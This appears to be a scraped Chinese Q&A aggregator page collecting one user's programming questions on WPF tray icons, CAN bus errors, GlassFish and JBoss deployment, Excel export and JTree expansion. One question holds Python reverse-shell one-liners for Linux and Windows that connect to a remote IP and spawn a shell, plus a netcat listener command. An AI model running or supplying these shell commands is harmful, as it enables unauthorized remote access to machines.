小编roc*_*tar的帖子

使用WPF最小化应用程序到系统托盘(不使用NotifyIcon)

我完成了我的应用程序,现在我希望将"最小化到系统托盘功能"中.我读了一篇很好的文章, 最小化app到系统托盘.我意识到这些都使用了Windows.Form类.

不幸的是,我使用Windows Presentation Foundation WPF参考来制作我的应用程序UI.现在我看到WPF不支持NotifyIcon.我看到CodePlex上有一个开源库,模拟NotifyIcon属性WPF Contrib我尚未使用它.

现在我正在解决问题.以下是我的问题: -

a)我不想仅为一个组件合并第三方库.

b)我可以在WPF上没有NotifyIcon的情况下进行最小化功能吗?如果是,那么有人可以给我带来什么样的优惠?

或者也许我应该将我的UI恢复为使用Windows窗体?

c# windows wpf notifyicon wpf-controls

21
推荐指数
1
解决办法
4万
查看次数

LPC 2292和LPC1758板之间的CAN通信"帧起始"错误

我正在尝试在几个LPC设备节点之间设置CAN通信.我的设置包括一些写入CAN总线的CAN节点.例如,LPC 2292 CAN控制器可以写入CAN总线,LPC1758可以接收数据.这完全没问题.现在LPC1758有2个CAN控制器,我设置了一个用于接收数据,另一个用于在总线上传输数据作为响应.我还为LPC 1758 CAN 1发送和接收以及CAN 2发送和接收设置了中断处理程序.(我没有LPC 2292的代码.它不在我的控制之下)

我的问题是在LPC1758方面.这里CAN 1接收器能够从其他CAN节点获取数据,因为我可以看到被调用的中断向量处理程序.问题是当LPC 1758 CAN 2 tranmistter写入总线​​时.它会出现总线错误.更具体地说"Start of Frame " error.(我使用Ulink2调试器).现在读取CAN规范,我知道CAN消息的起始帧应该从低(主导)位CAN规范开始; 见第3页

我该如何解决此错误?它不是可配置的寄存器,我可以将第一位设置为0或1.我运行KEIL附带的默认LPC 1758 CAN代码C:\Keil_v5\ARM\Boards\Keil\MCB1700\CAN我认为代码很好,因为当我在KEIL的模拟模式下运行代码时我可以看到CAN通信运行良好.

这个"框架开始"是否是我缺少的其他一些配置的副产品?

Update Code : 
Run Code Online (Sandbox Code Playgroud)

我运行KEIL附带的默认LPC 1758 CAN代码C:\Keil_v5\ARM\Boards\Keil\MCB1700\CAN我认为代码很好,因为当我在KEIL的模拟模式下运行代码时,我可以看到CAN通信工作正常.除了波特率之外,我没有对代码进行任何更改.CAN设置:

/*----------------------------------------------------------------------------
  setup CAN interface.  CAN controller (1..2)
 *----------------------------------------------------------------------------*/
void CAN_setup (uint32_t ctrl)  {
  LPC_CAN_TypeDef *pCAN = (ctrl == 1) ? LPC_CAN1 : LPC_CAN2;

  if (ctrl == 1) {
    LPC_SC->PCONP       |=  (1 << 13);           /* Enable power to CAN1 block */
    LPC_PINCON->PINSEL0 |=  (1 << …
Run Code Online (Sandbox Code Playgroud)

embedded microcontroller arm can-bus

15
推荐指数
1
解决办法
894
查看次数

JNDI资源名称附加__pm.部署失败

我正在尝试运行一个非常简单的耳朵应用程序.我似乎遇到了这个问题,但这里的讨论对我来说不适用于 由容器修改的JDBC资源名称(__pm附加到它)

在我的例子中,数据源名称也被添加__pm.我不知道它来自何处,但服务器日志指出的是,不是搜索databasename它而是搜索databasename__pm并使部署失败.

Persistence.xml: -

<?xml version="1.0" encoding="UTF-8"?>
<persistence version="2.0" xmlns="http://java.sun.com/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/persistence http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd">
  <persistence-unit name="FCK-ejbPU" transaction-type="JTA">
    <jta-data-source>FCKDatabase</jta-data-source>
    <exclude-unlisted-classes>false</exclude-unlisted-classes>
    <properties/>
  </persistence-unit>
</persistence>
Run Code Online (Sandbox Code Playgroud)

Glassfish日志:

  Error occurred during deployment: Exception while preparing the app : Invalid resource : { ResourceInfo : (jndiName=java:app/jdbc/FCKDatabase__pm), (applicationName=FCK) }. Please see server.log for more details.
        Exception while invoking class org.glassfish.persistence.jpa.JPADeployer prepare method : java.lang.RuntimeException: Invalid resource : { ResourceInfo : (jndiName=java:app/jdbc/FCKDatabase__pm), (applicationName=FCK) }
        Invalid resource : { …
Run Code Online (Sandbox Code Playgroud)

java ear netbeans glassfish java-ee

10
推荐指数
1
解决办法
1万
查看次数

javax.security.sasl.SaslException:Authentic从远程客户端连接到Jboss 7服务器时失败

我有独立的Java客户端(在eclipse中运行),我希望连接到外部服务器.如果服务器是localhost,那么我看不出任何问题.但是每当我尝试连接到外部服务器时,我总是会遇到以下异常

- JBREM000200: Remote connection failed: javax.security.sasl.SaslException: Authentication failed: all available authentication mechanisms failed
- Could not register a EJB receiver for connection to remote://10.160.148.61:4447
java.lang.RuntimeException: javax.security.sasl.SaslException: Authentication failed: all available authentication mechanisms failed
Run Code Online (Sandbox Code Playgroud)

我试图使用JNDI从远程客户端执行EJB调用的步骤

异常告诉我,与身份验证相关的配置文件有问题.这是我的ejb_client_properties文件

remote.connectionprovider.create.options.org.xnio.Options.SSL_ENABLED=false

remote.connections=default

remote.connection.default.host=10.160.148.61
remote.connection.default.port = 4447
remote.connection.default.connect.options.org.xnio.Options.SASL_POLICY_NOANONYMOUS=false

remote.connection.default.username=tan
remote.connection.default.password=f2b1c3c7d3f1e224cbf6508494cf0418
Run Code Online (Sandbox Code Playgroud)

注意:用户tan将添加到服务器上的mgt.user.properties文件中.我使用add-user.bat在服务器中添加用户.我还添加了一个应用程序用户.我使用相同的凭据传递给服务器.我想不出别的什么.

我的ejb电话如下:

        final Hashtable jndiProperties = new Hashtable();
        jndiProperties.put(Context.URL_PKG_PREFIXES, "org.jboss.ejb.client.naming");

        InitialContext aJNDI = new InitialContext(jndiProperties);
        Ppi handle = (Ppi) aJNDI
            .lookup("ejb:PPIEAR/PService/PConnect!com.gem.p.PConnection?stateful");
Run Code Online (Sandbox Code Playgroud)

我看到许多线程与异常相关但无法修复它:(有人可以帮助.

我还在服务器上安装了合法的SSL证书.我是否需要做一些额外的事情来照顾它?

另请注意:我的服务器以独立模式运行.

java jboss ejb jboss7.x

10
推荐指数
1
解决办法
3万
查看次数

使用jquery从html表生成excel表

我想在用户点击按钮后生成Excel工作表.基本上我想做的就是这里讨论的内容

如何将html表值传递给excel表格单元格 (KalleH.Väravas答案)

用于将HTML表导出到Excel的JavaScript

但是当我点击按钮时,不知何故没有任何反应.我正在使用Mozilla浏览器.我的代码需要启用ActiveXObject.我需要做一些额外的事情才能完成它.?

我创造了这个小提琴进行测试.如果这工作,我会尝试我的真实代码.如果这对你有用,那么请告诉我.谢谢

jFiddle

代码:

JS:

<script type="text/javascript">
    function CreateExcelSheet() {
        var i, j, str,
                myTable = document.getElementById('mytable'),
                rowCount = myTable.rows.length,
                excel = new ActiveXObject('Excel.Application');// Activates Excel
        excel.Workbooks.Add(); // Opens a new Workbook
        excel.Application.Visible = true; // Shows Excel on the screen
        for (i = 0; i < rowCount; i++) {
            for (j = 0; j < myTable.rows[i].cells.length; j++) {
                str = myTable.rows[i].cells[j].innerText;
                excel.ActiveSheet.Cells(i + 1, j + 1).Value = str; // Writes to the sheet
            } …
Run Code Online (Sandbox Code Playgroud)

html javascript excel jquery

5
推荐指数
2
解决办法
7万
查看次数

Python windows反向shell一个内衬

任何人都可以帮助我使用用于Windows的Python反向shell单行程(必须是Windows单行程).

我正在尝试修改我曾多次使用的Linux版本,但这是我第一次使用Windows.

Linux one liner:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Run Code Online (Sandbox Code Playgroud)

取自Reverse Shell Cheat Sheet.

所以这就是我迄今为止所能做到的:

C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);"
Run Code Online (Sandbox Code Playgroud)

好吧,事情是我确实得到了一个连接,只是shell死了.任何人都知道如何解决这个问题或提供一些建议?

nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036
Run Code Online (Sandbox Code Playgroud)

所以参数subprocess call必须是错误的.我似乎无法做对.

路径cmd.exe是正确的.我无法-icmd手册页中看到任何相应的参数.

有人能指出我正确的方向吗?

编辑:尝试没有参数进行子进程调用但仍然是相同的结果.连接立即死亡.

C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);"
Run Code Online (Sandbox Code Playgroud)

python shellcode

5
推荐指数
2
解决办法
9841
查看次数

限制twitter bootstrap中进度条的宽度

我正在使用twitter bootstrap为我的Ui增添趣味.我真的倾向于在页面上添加进度条.以下工作正常,只是进度条跨越整个屏幕宽度.我希望它被限制在一个小的矩形区域而不是整个屏幕的长度.知道怎么做吗?

<div class="left" >
    <p> <strong>Use the portal to submit your claims</strong></p>
    <p> Step 1 </p>
    <div class="progress progress-info">
        <div class="bar" style="width: 15%" ></div>
    </div>
    <p> Step 2 </p>
    <div class="progress progress-info">
        <div class="bar" style="width: 30%"></div>
    </div>
    <p> Step 3 </p>
    <div class="progress progress-info">
        <div class="bar" style="width: 45%"></div>
    </div>
</div>
Run Code Online (Sandbox Code Playgroud)

html css jquery-ui twitter-bootstrap

4
推荐指数
1
解决办法
6720
查看次数

完全扩展Jtree的所有节点(包括子节点)

我在互联网上找到了这个问题的一些细节,但解决方案似乎不起作用.

我希望能够扩展Jtree的所有节点(包括叶节点).这是我到目前为止的代码.

    tree = new JTree(treeModel);
    tree.setShowsRootHandles(true);
    tree.setEditable(true);
    tree.addTreeSelectionListener(treeSelectionListener);
    tree.addMouseListener(mouselistener);
    tree.setCellRenderer(new FileCellRenderer());

      for (int i = 0; i < tree.getRowCount(); i++) {

            tree.expandRow(i);
        }
Run Code Online (Sandbox Code Playgroud)

但是,这不会扩展所有叶节点.我得到的是图像A,但我想要的是图像B. 图像A. 图像B

java swing jtree

1
推荐指数
1
解决办法
1795
查看次数